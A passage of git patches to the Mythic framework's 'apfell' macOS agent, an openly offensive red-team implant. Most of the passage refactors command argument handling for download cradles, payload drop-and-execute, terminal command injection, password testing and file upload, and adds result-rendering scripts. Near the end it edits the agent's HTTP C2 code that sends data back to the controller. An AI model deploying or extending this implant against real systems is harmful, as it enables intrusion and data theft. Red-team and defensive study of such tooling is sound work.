type=ParameterType.Credential_Value, + parameter_group_info=[ParameterGroupInfo(group_name="manual_creds")] ), - "credential": CommandParameter( - name="credential", type=ParameterType.Credential_Value, - required=False - ), - "prompt": CommandParameter( + CommandParameter( name="prompt", type=ParameterType.String, description="What prompt to display to the user when asking for creds", - required=False + parameter_group_info=[ + ParameterGroupInfo(group_name="prompt_creds") + ] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class ShellElevatedCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/sleep.py b/Payload_Type/apfell/mythic/agent_functions/sleep.py index dbe253d..e014fe5 100644 --- a/Payload_Type/apfell/mythic/agent_functions/sleep.py +++ b/Payload_Type/apfell/mythic/agent_functions/sleep.py @@ -9,26 +9,30 @@ def positiveTime(val): class SleepArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "jitter": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="jitter", type=ParameterType.Number, validation_func=positiveTime, - required=False, description="Percentage of C2's interval to use as jitter", - ui_position=2 + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=2 + )] ), - "interval": CommandParameter( + CommandParameter( name="interval", type=ParameterType.Number, - required=False, validation_func=positiveTime, description="Number of seconds between checkins", - ui_position=1 + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=1 + )] ), - } + ] async def parse_arguments(self): if self.command_line[0] != "{": diff --git a/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py b/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py index e9899fb..31a9567 100644 --- a/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py +++ b/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py @@ -4,24 +4,23 @@ class SpawnDownloadCradleArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "url": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="url", type=ParameterType.String, description="full URL of hosted payload", ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("url", self.command_line) - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("url", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class SpawnDownloadCradleCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py b/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py index de083ef..6837960 100644 --- a/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py +++ b/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py @@ -5,25 +5,24 @@ class SpawnDropAndExecuteArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "template": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="template", type=ParameterType.Payload, description="apfell agent to use as template to generate a new payload", supported_agents=["apfell"], ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class SpawnDropAndExecuteCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/system_info.py b/Payload_Type/apfell/mythic/agent_functions/system_info.py index 9a09725..2d3890a 100644 --- a/Payload_Type/apfell/mythic/agent_functions/system_info.py +++ b/Payload_Type/apfell/mythic/agent_functions/system_info.py @@ -4,9 +4,9 @@ class SystemInfoArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/terminals_read.py b/Payload_Type/apfell/mythic/agent_functions/terminals_read.py index 5f9d661..f288de8 100644 --- a/Payload_Type/apfell/mythic/agent_functions/terminals_read.py +++ b/Payload_Type/apfell/mythic/agent_functions/terminals_read.py @@ -4,25 +4,24 @@ class TerminalsReadArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "level": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="level", type=ParameterType.ChooseOne, choices=["contents", "history"], - description="How much data to retrive - what's viewable or all history", + description="How much data to retrieve - what's viewable or all history", ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("level", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class TerminalsReadCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/terminals_send.py b/Payload_Type/apfell/mythic/agent_functions/terminals_send.py index c69531f..3523afc 100644 --- a/Payload_Type/apfell/mythic/agent_functions/terminals_send.py +++ b/Payload_Type/apfell/mythic/agent_functions/terminals_send.py @@ -4,34 +4,38 @@ class TerminalsSendArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "window": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="window", type=ParameterType.Number, + default_value=0, description="window # to send command to", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "tab": CommandParameter( + CommandParameter( name="tab", type=ParameterType.Number, + default_value=0, description="tab # to send command to", + parameter_group_info=[ParameterGroupInfo(required=False)] ), - "command": CommandParameter( + CommandParameter( name="command", type=ParameterType.String, description="command to execute", + parameter_group_info=[ParameterGroupInfo()] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") - else: - raise ValueError("Missing arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) class TerminalsSendCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/test_password.py b/Payload_Type/apfell/mythic/agent_functions/test_password.py index 8a4679d..9b41d40 100644 --- a/Payload_Type/apfell/mythic/agent_functions/test_password.py +++ b/Payload_Type/apfell/mythic/agent_functions/test_password.py @@ -4,20 +4,20 @@ class TestPasswordArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "password": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="password", type=ParameterType.Credential_Value, description="Password to test", ), - "username": CommandParameter( + CommandParameter( name="username", type=ParameterType.Credential_Account, description="Local user to test against", ), - } + ] async def parse_arguments(self): if self.command_line[0] != "{": diff --git a/Payload_Type/apfell/mythic/agent_functions/upload.py b/Payload_Type/apfell/mythic/agent_functions/upload.py index aafdc3a..0569ddd 100644 --- a/Payload_Type/apfell/mythic/agent_functions/upload.py +++ b/Payload_Type/apfell/mythic/agent_functions/upload.py @@ -5,27 +5,72 @@ import base64 class UploadArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "file": CommandParameter( - name="file", type=ParameterType.File, description="file to upload" + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="file", cli_name="new-file", display_name="File to upload", type=ParameterType.File, description="Select new file to upload", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default" + ) + ] ), - "remote_path": CommandParameter( + CommandParameter( + name="filename", cli_name="registered-filename", display_name="Filename within Mythic", description="Supply existing filename in Mythic to upload", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="specify already uploaded file by name" + ) + ] + ), + CommandParameter( name="remote_path", + cli_name="remote_path", + display_name="Upload path (with filename)", type=ParameterType.String, - description="/remote/path/on/victim.txt", + description="Provide the path where the file will go (include new filename as well)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ), + ParameterGroupInfo( + required=True, + group_name="specify already uploaded file by name", + ui_position=1 + ) + ] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + async def get_files(self, callback: dict) -> [str]: + file_resp = await MythicRPC().execute("get_file", callback_id=callback["id"], + limit_by_callback=False, + get_contents=False, + filename="", + max_results=-1) + if file_resp.status == MythicRPCStatus.Success: + file_names = [] + for f in file_resp.response: + if f["filename"] not in file_names: + file_names.append(f["filename"]) + return file_names else: - raise ValueError("Missing arguments") + return [] class UploadCommand(CommandBase): @@ -40,26 +85,46 @@ class UploadCommand(CommandBase): author = "@its_a_feature_" attackmapping = ["T1132", "T1030", "T1105"] argument_class = UploadArguments + attributes = CommandAttributes( + suggested_command=True + ) async def create_tasking(self, task: MythicTask) -> MythicTask: try: - original_file_name = json.loads(task.original_params)["file"] - if len(task.args.get_arg("remote_path")) == 0: - task.args.add_arg("remote_path", original_file_name) - elif task.args.get_arg("remote_path")[-1] == "/": - task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) - file_resp = await MythicRPC().execute("create_file", task_id=task.id, - file=base64.b64encode(task.args.get_arg("file")).decode(), - saved_file_name=original_file_name, - delete_after_fetch=False, - ) - if file_resp.status == MythicStatus.Success: - task.args.add_arg("file", file_resp.response["agent_file_id"]) - task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}" - else: - raise Exception("Error from Mythic: " + str(file_resp.error)) + groupName = task.args.get_parameter_group_name() + if groupName == "Default": + original_file_name = json.loads(task.original_params)["file"] + if len(task.args.get_arg("remote_path")) == 0: + task.args.add_arg("remote_path", original_file_name) + elif task.args.get_arg("remote_path")[-1] == "/": + task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) + file_resp = await MythicRPC().execute("create_file", task_id=task.id, + file=base64.b64encode(task.args.get_arg("file")).decode(), + saved_file_name=original_file_name, + delete_after_fetch=False, + ) + if file_resp.status == MythicRPCStatus.Success: + task.args.add_arg("file", file_resp.response["agent_file_id"]) + task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}" + else: + raise Exception("Error from Mythic trying to register file: " + str(file_resp.error)) + elif groupName == "specify already uploaded file by name": + # we're trying to find an already existing file and use that + file_resp = await MythicRPC().execute("get_file", task_id=task.id, + filename=task.args.get_arg("filename"), + limit_by_callback=False, + get_contents=False) + if file_resp.status == MythicRPCStatus.Success: + if len(file_resp.response) > 0: + task.args.add_arg("file", file_resp.response[0]["agent_file_id"]) + task.args.remove_arg("filename") + task.display_params = f"existing {file_resp.response[0]['filename']} to {task.args.get_arg('remote_path')}" + elif len(file_resp.response) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.error)) except Exception as e: - raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + str(e)) + raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + " : " + str(e)) return task async def process_response(self, response: AgentResponse): diff --git a/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js b/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js new file mode 100644 index 0000000..9cf8945 --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js @@ -0,0 +1,107 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed){ + if(responses.length > 0){ + if(responses[0] === "Successfully set the clipboard"){ + return {"plaintext": responses[0]}; + }else{ + try{ + let data = JSON.parse(responses[0]); + let output_table = []; + let all_keys = []; + for(const [k,v] of Object.entries(data)){ + all_keys.push(k); + if(k === "public.utf8-plain-text"){ + output_table.push({ + "key":{"plaintext": k}, + "value": {"plaintext": atob(v)}, + "fetch": {"button": { + "name": "Fetch Data", + "type": "task", + "ui_feature": "clipboard:fetch", + "parameters": JSON.stringify({"Clipboard Types": [k], "data": ""}) + }}, + "view": {"button": { + "name": v=== "" ? "Empty": "View", + "type": "dictionary", + "value": {[k]:atob(v)}, + "disabled": v === "", + "leftColumnTitle": "Key", + "rightColumnTitle": "Values", + "title": "Viewing " + k + }} + }) + }else{ + output_table.push({ + "key":{"plaintext": k}, + "value": {"plaintext": v}, + "fetch": {"button": { + "name": "Fetch Data", + "type": "task", + "ui_feature": "clipboard:fetch", + "parameters": JSON.stringify({"Clipboard Types": [k], "data": ""}) + }}, + "view": {"button": { + "name": v=== "" ? "Empty": "View", + "type": "dictionary", + "value": {[k]:v}, + "disabled": v === "", + "leftColumnTitle": "Key", + "rightColumnTitle": "Values", + "title": "Viewing " + k + }} + }) + } + } + output_table.push({ + "key":{"plaintext": "Fetch All Clipboard Data"}, + "value": {"plaintext": ""}, + "fetch": {"button": { + "name": "Fetch All Data", + "type": "task", + "ui_feature": "clipboard:fetch", + "parameters": JSON.stringify({"Clipboard Types": all_keys, "data": ""}) + }}, + "view": {"button": { + "name": "View", + "type": "dictionary", + "value": {}, + "disabled": true, + "leftColumnTitle": "Key", + "rightColumnTitle": "Values", + "title": "Viewing " + }} + }) + return { + "table": [ + { + "headers": [ + {"plaintext": "key", "type": "string"}, + {"plaintext": "value", "type": "string"}, + {"plaintext": "fetch", "type": "button", "width": 10}, + {"plaintext": "view", "type": "button", "width": 5} + ], + "rows": output_table, + "title": "Clipboard Data" + } + ] + } + }catch(error){ + console.log(error); + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + } + }else{ + return {"plaintext": "No output from command"}; + } + }else{ + return {"plaintext": "No data to display..."}; + } +} \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/browser_scripts/download_new.js b/Payload_Type/apfell/mythic/browser_scripts/download_new.js new file mode 100644 index 0000000..a25b1a1 --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/download_new.js @@ -0,0 +1,37 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed){ + if(responses.length > 0){ + try{ + let data = JSON.parse(responses[0]); + return {"download":[{ + "agent_file_id": data["agent_file_id"], + "variant": "contained", + "name": "Download " + data["filename"] + }]}; + }catch(error){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + + }else{ + return {"plaintext": "No data to display..."} + } + + }else if(task.status === "processed"){ + if(responses.length > 0){ + const task_data = JSON.parse(responses[0]); + return {"plaintext": "Downloading a file with " + task_data["total_chunks"] + " total chunks..."}; + } + return {"plaintext": "No data yet..."} + }else{ + // this means we shouldn't have any output + return {"plaintext": "Not response yet from agent..."} + } +} \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js b/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js new file mode 100644 index 0000000..6ad1ed3 --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js @@ -0,0 +1,72 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed){ + if(responses.length > 0){ + try{ + let data = JSON.parse(responses[0]); + let output_table = []; + for(let i = 0; i < data.length; i++){ + output_table.push({ + "name":{"plaintext": data[i]["name"]}, + "pid": {"plaintext": data[i]["process_id"]}, + "bundle": {"plaintext": data[i]["bundle"]}, + "arch": {"plaintext": data[i]["architecture"]}, + "rowStyle": {"backgroundColor": data[i]["frontmost"] ? "mediumpurple": ""}, + "actions": {"button": { + "name": "Actions", + "type": "menu", + "value": [ + { + "name": "View Paths", + "type": "dictionary", + "value": { + "bundleURL": data[i]["bundleURL"], + "bin_path": data[i]["bin_path"], + }, + "leftColumnTitle": "Key", + "rightColumnTitle": "Value", + "title": "Viewing Paths" + }, + { + "name": "entitlements", + "type": "task", + "ui_feature": "list_entitlements:list", + "parameters": data[i]["process_id"].toString() + } + ] + }}, + }) + } + return { + "table": [ + { + "headers": [ + {"plaintext": "pid", "type": "number", "width": 9}, + {"plaintext": "name", "type": "string"}, + {"plaintext": "bundle", "type": "string"}, + {"plaintext": "arch", "type": "string", "width": 7}, + {"plaintext": "actions", "type": "button", "width": 8}, + ], + "rows": output_table, + "title": "Process Data" + } + ] + } + }catch(error){ + console.log(error); + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + }else{ + return {"plaintext": "No output from command"}; + } + }else{ + return {"plaintext": "No data to display..."}; + } +} \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js new file mode 100644 index 0000000..bd7e15f --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js @@ -0,0 +1,60 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed){ + if(responses.length > 0){ + + let headers = [ + {"plaintext": "pid", "type": "string", "width": 10}, + {"plaintext": "name", "type": "string"}, + {"plaintext": "bundle", "type": "string"}, + {"plaintext": "entitlements", "type": "button", "width": 14}]; + let data = ""; + try{ + data = JSON.parse(responses[0]); + }catch(error){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + let rows = []; + for(let i = 0; i < data.length; i++){ + let row = { + "name": {"plaintext": data[i]["name"]}, + "pid": {"plaintext": data[i]["pid"]}, + "bundle": {"plaintext": data[i]["bundle"]}, + "entitlements": {"button": { + "name": "View Entitlements", + "type": "dictionary", + "value": data[i]["entitlements"], + "disabled": Object.keys(data[i]["entitlements"]).length === 0, + "leftColumnTitle": "Entitlements", + "rightColumnTitle": "Value", + "title": "Viewing Entitlements" + }} + }; + rows.push(row); + } + return {"table":[{ + "headers": headers, + "rows": rows, + "title": "Process Entitlements" + }]}; + }else{ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + }else if(task.status === "processed"){ + // this means we're still downloading + return {"plaintext": "Only have partial data so far..."} + }else{ + // this means we shouldn't have any output + return {"plaintext": "Not response yet from agent..."} + } +} \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/browser_scripts/ls_new.js b/Payload_Type/apfell/mythic/browser_scripts/ls_new.js new file mode 100644 index 0000000..db0dd00 --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/ls_new.js @@ -0,0 +1,143 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed && responses.length > 0){ + let folder = { + backgroundColor: "mediumpurple", + color: "white" + }; + let file = {}; + let data = ""; + try{ + data = JSON.parse(responses[0]); + }catch(error){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + } + let ls_path = ""; + if(data["parent_path"] === "/"){ + ls_path = data["parent_path"] + data["name"]; + }else{ + ls_path = data["parent_path"] + "/" + data["name"]; + } + let headers = [ + {"plaintext": "name", "type": "string"}, + {"plaintext": "size", "type": "size"}, + {"plaintext": "owner", "type": "string"}, + {"plaintext": "group", "type": "string"}, + {"plaintext": "posix", "type": "string", "width": 8}, + {"plaintext": "actions", "type": "button", "width": 10}, + ]; + let rows = [{ + "rowStyle": data["is_file"] ? file : folder, + "name": {"plaintext": data["name"]}, + "size": {"plaintext": data["size"]}, + "owner": {"plaintext": data["permissions"]["owner"]}, + "group": {"plaintext": data["permissions"]["group"]}, + "posix": {"plaintext": data["permissions"]["posix"]}, + "actions": {"button": { + "name": "Actions", + "type": "menu", + "value": [ + { + "name": "View XATTRs", + "type": "dictionary", + "value": data["permissions"], + "leftColumnTitle": "XATTR", + "rightColumnTitle": "Values", + "title": "Viewing XATTRs" + }, + { + "name": "Get Code Signatures", + "type": "task", + "ui_feature": "code_signatures:list", + "parameters": ls_path + }, + { + "name": "LS Path", + "type": "task", + "ui_feature": "file_browser:list", + "parameters": ls_path + }, + { + "name": "Download File", + "type": "task", + "disabled": !data["is_file"], + "ui_feature": "file_browser:download", + "parameters": ls_path + } + ] + }} + }]; + for(let i = 0; i < data["files"].length; i++){ + let ls_path = ""; + if(data["parent_path"] === "/"){ + ls_path = data["parent_path"] + data["name"] + "/" + data["files"][i]["name"]; + }else{ + ls_path = data["parent_path"] + "/" + data["name"] + "/" + data["files"][i]["name"]; + } + let row = { + "rowStyle": data["files"][i]["is_file"] ? file: folder, + "name": {"plaintext": data["files"][i]["name"]}, + "size": {"plaintext": data["files"][i]["size"]}, + "owner": {"plaintext": data["files"][i]["permissions"]["owner"]}, + "group": {"plaintext": data["files"][i]["permissions"]["group"]}, + "posix": {"plaintext": data["files"][i]["permissions"]["posix"], + "cellStyle": { + + } + }, + "actions": {"button": { + "name": "Actions", + "type": "menu", + "value": [ + { + "name": "View XATTRs", + "type": "dictionary", + "value": data["files"][i]["permissions"], + "leftColumnTitle": "XATTR", + "rightColumnTitle": "Values", + "title": "Viewing XATTRs" + }, + { + "name": "Get Code Signatures", + "type": "task", + "ui_feature": "code_signatures:list", + "parameters": ls_path + }, + { + "name": "LS Path", + "type": "task", + "ui_feature": "file_browser:list", + "parameters": ls_path + }, + { + "name": "Download File", + "type": "task", + "disabled": !data["files"][i]["is_file"], + "ui_feature": "file_browser:download", + "parameters": ls_path + } + ] + }} + }; + rows.push(row); + } + return {"table":[{ + "headers": headers, + "rows": rows, + "title": "File Listing Data" + }]}; + }else if(task.status === "processed"){ + // this means we're still downloading + return {"plaintext": "Only have partial data so far..."} + }else{ + // this means we shouldn't have any output + return {"plaintext": "Not response yet from agent..."} + } +} \ No newline at end of file diff --git a/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js b/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js new file mode 100644 index 0000000..8a71f98 --- /dev/null +++ b/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js @@ -0,0 +1,34 @@ +function(task, responses){ + if(task.status.includes("error")){ + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; + }else if(task.completed){ + if(responses.length > 0){ + let data = JSON.parse(responses[0]); + return {"screenshot":[{ + "agent_file_id": data["file_id"], + "variant": "contained", + "name": "View Screenshot" + }]}; + }else{ + return {"plaintext": "No data to display..."} + } + + }else if(task.status === "processed"){ + // this means we're still downloading + if(responses.length > 0){ + let data = JSON.parse(responses[0]); + return {"screenshot":[{ + "agent_file_id": data["file_id"], + "variant": "contained", + "name": "View Partial Screenshot" + }]}; + } + return {"plaintext": "No data yet..."} + }else{ + // this means we shouldn't have any output + return {"plaintext": "Not response yet from agent..."} + } +} \ No newline at end of file From 3e2576930c38505b91186918b0b4f5259c650ec9 Mon Sep 17 00:00:00 2001 From: Cody Thomas Date: Thu, 2 Dec 2021 18:39:09 -0800 Subject: [PATCH 2/8] updating Dockerfile for new DockerHub image --- Payload_Type/apfell/Dockerfile | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/Payload_Type/apfell/Dockerfile b/Payload_Type/apfell/Dockerfile index 6933de3..8681fd7 100755 --- a/Payload_Type/apfell/Dockerfile +++ b/Payload_Type/apfell/Dockerfile @@ -1,5 +1 @@ -FROM itsafeaturemythic/python38_payload:0.0.9 - -RUN pip uninstall -y mythic_payloadtype_container -RUN pip install --index-url https://test.pypi.org/simple/ mythic_payloadtype_container==0.0.93 -#RUN pip install mythic_payloadtype_container==0.0.48 \ No newline at end of file +FROM itsafeaturemythic/python38_payload:0.0.10 From 2cbd044745285b14f74fcef42388192a0c154f8a Mon Sep 17 00:00:00 2001 From: Cody Thomas Date: Fri, 7 Jan 2022 13:18:06 -0800 Subject: [PATCH 3/8] more updates for v2.3 --- Payload_Type/apfell/Dockerfile | 2 +- .../apfell/agent_code/base/apfell-jxa.js | 4 +- .../agent_code/c2_profiles/dynamichttp.js | 6 +- .../apfell/agent_code/c2_profiles/http.js | 6 +- Payload_Type/apfell/agent_code/download.js | 6 +- Payload_Type/apfell/agent_code/list_users.js | 120 +++++++----------- Payload_Type/apfell/agent_code/load.js | 2 +- Payload_Type/apfell/agent_code/ls.js | 12 +- Payload_Type/apfell/agent_code/sleep.js | 4 +- .../apfell/mythic/agent_functions/builder.py | 2 +- .../agent_functions/list_entitlements.py | 2 - .../mythic/agent_functions/list_users.py | 9 -- .../apfell/mythic/agent_functions/sleep.py | 2 +- .../mythic/browser_scripts/clipboard_new.js | 4 +- .../mythic/browser_scripts/download_new.js | 31 ++--- .../mythic/browser_scripts/list_apps_new.js | 12 +- .../browser_scripts/list_entitlements_new.js | 13 +- .../apfell/mythic/browser_scripts/ls_new.js | 50 ++++---- 18 files changed, 125 insertions(+), 162 deletions(-) diff --git a/Payload_Type/apfell/Dockerfile b/Payload_Type/apfell/Dockerfile index 8681fd7..77bc3a1 100755 --- a/Payload_Type/apfell/Dockerfile +++ b/Payload_Type/apfell/Dockerfile @@ -1 +1 @@ -FROM itsafeaturemythic/python38_payload:0.0.10 +FROM itsafeaturemythic/python38_payload:0.0.11 \ No newline at end of file diff --git a/Payload_Type/apfell/agent_code/base/apfell-jxa.js b/Payload_Type/apfell/agent_code/base/apfell-jxa.js index fa5cb87..3530f24 100755 --- a/Payload_Type/apfell/agent_code/base/apfell-jxa.js +++ b/Payload_Type/apfell/agent_code/base/apfell-jxa.js @@ -69,8 +69,8 @@ does_file_exist = function(strPath){ }; convert_to_nsdata = function(strData){ // helper function to convert UTF8 strings to NSData objects - var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding); - return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding); + var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding); + return tmpString.dataUsingEncoding($.NSUTF16StringEncoding); }; write_data_to_file = function(data, file_path){ try{ diff --git a/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js b/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js index 598e99e..f42fe28 100644 --- a/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js +++ b/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js @@ -334,7 +334,7 @@ class customC2 extends baseC2{ } if(method === "POST") { req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST")); - let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true); + let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true); let postLength = $.NSString.stringWithFormat("%d", postData.length); req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length')); req.setHTTPBody(postData); @@ -477,6 +477,10 @@ class customC2 extends baseC2{ if (registerFile['responses'][0]['status'] === "success"){ handle.seekToFileOffset(0); let currentChunk = 1; + this.postResponse(task, {"user_output": JSON.stringify({ + "agent_file_id": registerFile["file_id"], + "total_chunks": numOfChunks + })}); let data = handle.readDataOfLength(chunkSize); while(parseInt(data.length) > 0 && offset < fileSize){ // send a chunk diff --git a/Payload_Type/apfell/agent_code/c2_profiles/http.js b/Payload_Type/apfell/agent_code/c2_profiles/http.js index 829dcee..4a143ca 100644 --- a/Payload_Type/apfell/agent_code/c2_profiles/http.js +++ b/Payload_Type/apfell/agent_code/c2_profiles/http.js @@ -294,7 +294,7 @@ class customC2 extends baseC2{ if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);} let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url)); req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST")); - let postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true); + let postData = data.dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true); let postLength = $.NSString.stringWithFormat("%d", postData.length); req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length')); for(let i = 0; i < this.header_list.length; i++){ @@ -440,6 +440,10 @@ class customC2 extends baseC2{ let registerFile = this.postResponse(task, registerData); registerFile = registerFile['responses'][0]; if (registerFile['status'] === "success"){ + this.postResponse(task, {"user_output": JSON.stringify({ + "agent_file_id": 